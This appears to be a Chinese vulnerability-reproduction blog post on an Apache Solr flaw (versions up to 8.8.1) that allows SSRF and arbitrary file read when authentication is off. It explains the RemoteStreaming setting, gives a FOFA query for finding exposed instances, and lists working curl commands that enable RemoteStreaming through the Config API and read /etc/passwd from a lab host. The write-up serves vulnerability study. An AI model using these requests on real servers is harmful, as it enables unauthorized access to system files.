漏洞复现----20、Apache Solr RemoteStreaming 任意文件读取和SSRF
2023-09-11 14:17:06 时间
一、Apache Solr简介
Apache Solr是一个功能强大的开源搜索服务器,它支持REST风格API。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
影响版本:Apache Solr <= 8.8.1
1、下载地址:
https://solr.apache.org/downloads.html(可访问最新版本)
https://archive.apache.org/dist/lucene/solr/(可查看所有版本)
2、在线靶场
vluhub
https://labs.do-ta.com/
空间搜索引擎FOFA输入:app="APACHE-Solr",可以查看目前使用Solr的系统,如下图:
二、内容流与RemoteStreaming
我们需要学习一些额外的知识,以便了解为何我们的Payload要如下那样设置。
1、内容流
内容流来源:当前请求处理程序可以通过多种方式获取内容流:
1、对于多部分文件上传,每个文件都以流的形式传递。
2、对于内容类型不是 application/x-www-form-urlencoded 的 POST 请求,原始的 POST 主体将作为流传递。完整的 POST 主体被解析为参数并包含在 Solr 参数中。
3、参数 stream.body 的内容作为流传递。
4、如果启用了远程流并在请求处理期间调用了 URL 内容,则每个参数 stream.url 和 stream.file 参数的内容将作为流获取并传递。
默认情况下,curl 发送一个 contentType=“application/x-www-form-urlencoded” 头。如果需要测试SolrContentHeader内容流,则需要使用 curl -H 标志来设置内容类型。
2、RemoteStreaming
远程流传输,默认情况下是禁用状态,开启此选项,可以将URL的内容作为流发送到给定的SolrRequestHandler。
在启用远程流处理之前, 应确保系统已启用身份验证。
<requestParsers enableRemoteStreaming="false"...>
如果未在 solrconfig. xml 中指定 enableRemoteStreaming,则默认行为是不允许远程流 (即 enableRemoteStreaming = “false”)。
远程流也可以通过 Config API 启用,如下所示:
curl -d '
{
"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}
' http://localhost:8983/solr/techproducts/config -H 'Content-type:application/json'
如果使用 enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求。如果启用了 DumpRequestHandler,它将允许任何人查看系统上的任何文件。
三、漏洞复现
1、访问到Apache Solr的管理控制台
访问请求:ip:8983
2、访问http://192.168.209.134:8983/solr/admin/cores?indexInfo=false&wt=json
获取到数据库名称为:demo
3、利用curl命令,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming。
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://192.168.209.134:8983/solr/demo/config'
4、通过curl工具,利用Stream.url读取任意文件
curl -i -s -k 'http://192.168.209.134:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
相关文章
- Apache Kylin权威指南1.7 小结
- Apache Kylin权威指南2.7 小结
- 漏洞复现----4、Apache Solr(velocity)远程命令执行(CVE-2019-17558)
- CVE-2020-17523:Apache Shiro身份认证绕过漏洞通告
- CVE-2020-9496:Apache Ofbiz 反序列化漏洞分析
- 【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)补丁绕过通告
- 【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)通告
- CVE-2020-1947: Apache ShardingSphere&UI远程代码执行漏洞通告
- Linux下编译安装Apache 2.4
- 回顾 | Apache Flink 1.9 版本新特性强势预告!(内含PPT下载链接)
- apache+php完美解决301重定向的两种方法
- linux apache虚拟主机配置(基于ip,端口,域名)
- 企业级Apache详解2
- apache开源项目--Apache Commons Imaging
- Linux+Apache环境下安装SSL证书
- Apache Griffin 安装与简介